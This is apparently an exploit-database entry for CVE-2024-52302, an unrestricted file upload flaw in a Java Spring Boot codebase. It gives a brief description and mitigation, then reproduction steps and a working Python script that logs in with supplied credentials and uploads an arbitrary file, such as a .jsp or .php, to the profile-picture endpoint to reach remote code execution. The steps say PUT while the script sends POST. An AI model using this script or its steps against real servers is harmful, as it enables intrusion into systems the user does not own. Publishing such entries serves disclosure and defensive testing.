header-logo
Suggest Exploit
vendor:
Java-springboot-codebase
by:
d3sca
6.1
CVSS
HIGH
Unrestricted File Upload
434
CWE
Product Name: Java-springboot-codebase
Affected Version From: 0.1
Affected Version To: 0.1
Patch Exists: NO
Related CWE: CVE-2024-52302
CPE: a:osamataher:java-springboot-codebase:0.1
Metasploit:
Other Scripts:
Platforms Tested: Debian Linux
2024

Unrestricted File Upload

An unrestricted file upload vulnerability was discovered in a Java Spring Boot application. By sending a PUT request to /api/v1/customer/profile-picture with a malicious file payload, an attacker could upload files like .jsp, .php, or .html. By then accessing the uploaded file through the URL returned in the response, remote code execution could be achieved.

Mitigation:

To mitigate this vulnerability, validate file types and enforce strict controls on file uploads. Implement file upload restrictions based on file extensions and content types. Additionally, consider sandboxing uploaded files.
Source

Exploit-DB raw data:

# Exploit Title: Unrestricted File Upload
# Google Dork:
# Date: 14/Nov/2024
# Exploit Author: d3sca
# Vendor Homepage:
https://github.com/OsamaTaher/Java-springboot-codebase
# Software Link:
https://github.com/OsamaTaher/Java-springboot-codebase
# Version: [app version] 0.1
# Tested on: Debian Linux
# CVE : CVE-2024-52302


# Steps to Reproduce:

# Upload Malicious File: Send a PUT request to /api/v1/customer/profile-picture using customer with role 26,17 added with a malicious file payload (e.g., .jsp, .php, .html).

# GET the file location: Send GET request /api/v1/customer/my-profile , grap the file location in response with the profile's link.

# Execute the Uploaded File: Using the file name access the file directly through the URL returned in the response.
# If the server supports the uploaded file type, it will execute the file, leading to Remote Code Execution.


import requests
import argparse
import sys


requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

def login(url, username, password):
    """Authenticate with the API and return the Bearer token."""
    login_endpoint = f"{url}/api/v1/user/login"
    headers = {"Content-Type": "application/json"}
    payload = {
        "username": username,
        "password": password
    }

    try:
        response = requests.post(login_endpoint, json=payload, headers=headers, verify=False)
        response.raise_for_status()

        # Extract token
        token = response.json().get("token")
        if not token:
            print("[!] Token not found in response. Exiting.")
            sys.exit(1)

        print("[+] Authentication successful. Token acquired.")
        return token
    except Exception as e:
        print(f"[!] Login failed: {e}")
        sys.exit(1)

def upload_file(url, token, file_path):
    """Upload a file to the profile picture endpoint using the Bearer token."""
    upload_endpoint = f"{url}/api/v1/customer/profile-picture"
    headers = {
        "Authorization": f"Bearer {token}"
    }
    files = {
        "file": open(file_path, "rb")
    }

    try:
        response = requests.post(upload_endpoint, headers=headers, files=files, verify=False)
        response.raise_for_status()

        if response.status_code == 200:
            print("[+] File uploaded successfully.")
            print(f"[+] Response: {response.text}")
        else:
            print(f"[!] Failed to upload file. Status code: {response.status_code}")
            print(f"[!] Response: {response.text}")
    except Exception as e:
        print(f"[!] File upload failed: {e}")
        sys.exit(1)

def main():
    parser = argparse.ArgumentParser(description="Exploit script for unrestricted file upload vulnerability.")
    parser.add_argument("-u", "--username", required=True, help="Username for login")
    parser.add_argument("-p", "--password", required=True, help="Password for login")
    parser.add_argument("-f", "--file", required=True, help="File to upload")
    parser.add_argument("-url", "--url", required=True, help="Base URL of the target application (e.g., https://target.com)")

    args = parser.parse_args()

    # Authenticate 
    token = login(args.url, args.username, args.password)

    # Upload the file
    upload_file(args.url, token, args.file)

if __name__ == "__main__":
    main()